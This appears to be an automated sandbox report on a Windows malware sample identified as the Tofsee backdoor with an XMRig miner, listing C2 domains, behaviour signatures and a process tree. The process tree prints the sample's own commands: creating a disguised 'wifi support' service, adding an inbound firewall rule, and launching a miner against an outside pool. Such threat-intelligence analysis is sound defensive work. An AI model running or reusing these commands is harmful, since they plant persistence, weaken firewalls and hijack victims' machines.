Overview

overview

10

Static

static

6bdec1b519...43.exe

windows7_x64

10

6bdec1b519...43.exe

windows10-2004_x64

10

Analysis

  • max time kernel
    156s
  • max time network
    162s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    22/02/2022, 08:24

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    6bdec1b519e961a4d757be0541c6e343.exe
  • Size 246KB
  • Sample220222-kaqblsefa7
  • SHA256 fed7c4e47ea734756b34a457fbb402ce63624e1c8bbe48441a9634f4130e022c
  • MD5 SHA1 SHA512
Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

  • tofsee

C2

  • patmushta.info

  • ovicrush.cn

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 6 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6bdec1b519e961a4d757be0541c6e343.exe
    "C:\Users\Admin\AppData\Local\Temp\6bdec1b519e961a4d757be0541c6e343.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1288
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jlvvczgz\
      2⤵
        PID:4708
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\nmgbbpcj.exe" C:\Windows\SysWOW64\jlvvczgz\
        2⤵
          PID:2184
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jlvvczgz binPath= "C:\Windows\SysWOW64\jlvvczgz\nmgbbpcj.exe /d\"C:\Users\Admin\AppData\Local\Temp\6bdec1b519e961a4d757be0541c6e343.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2404
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description jlvvczgz "wifi internet conection"
            2⤵
              PID:3708
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start jlvvczgz
              2⤵
                PID:3232
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3656
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1288 -s 1284
                  2⤵
                  • Program crash
                  PID:3552
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                1⤵
                • Drops file in Windows directory
                • Suspicious use of AdjustPrivilegeToken
                PID:2584
              • C:\Windows\SysWOW64\jlvvczgz\nmgbbpcj.exe
                C:\Windows\SysWOW64\jlvvczgz\nmgbbpcj.exe /d"C:\Users\Admin\AppData\Local\Temp\6bdec1b519e961a4d757be0541c6e343.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2800
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1032
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4720
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 2800 -s 528
                  2⤵
                  • Program crash
                  PID:4672
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1288 -ip 1288
                1⤵
                  PID:3492
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2800 -ip 2800
                  1⤵
                    PID:2380

                  Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        memory/1032-148-0x0000000003BE0000-0x0000000003BE5000-memory.dmp
                        Download

                        memory/1032-139-0x0000000000E20000-0x0000000000E35000-memory.dmp
                        Download

                        memory/1032-152-0x0000000003BF0000-0x0000000003BF7000-memory.dmp
                        Download

                        memory/1032-150-0x0000000008740000-0x0000000008B4B000-memory.dmp
                        Download

                        memory/1032-146-0x00000000021E0000-0x00000000021F0000-memory.dmp
                        Download

                        memory/1032-144-0x0000000000FF0000-0x0000000000FF6000-memory.dmp
                        Download

                        memory/1032-142-0x0000000003200000-0x000000000340F000-memory.dmp
                        Download

                        memory/1032-141-0x0000000000E20000-0x0000000000E35000-memory.dmp
                        Download

                        memory/1288-131-0x00000000007B0000-0x00000000007C3000-memory.dmp
                        Download

                        memory/1288-130-0x00000000007A0000-0x00000000007AD000-memory.dmp
                        Download

                        memory/1288-134-0x0000000000400000-0x0000000000415000-memory.dmp
                        Download

                        memory/2584-133-0x0000016A99120000-0x0000016A99130000-memory.dmp
                        Download

                        memory/2584-132-0x0000016A98B60000-0x0000016A98B70000-memory.dmp
                        Download

                        memory/2584-135-0x0000016A9B7A0000-0x0000016A9B7A4000-memory.dmp
                        Download

                        memory/2800-140-0x0000000000400000-0x0000000000415000-memory.dmp
                        Download

                        memory/2800-138-0x00000000007F0000-0x0000000000803000-memory.dmp
                        Download

                        memory/4720-154-0x0000000000840000-0x0000000000931000-memory.dmp
                        Download

                        memory/4720-158-0x0000000000840000-0x0000000000931000-memory.dmp
                        Download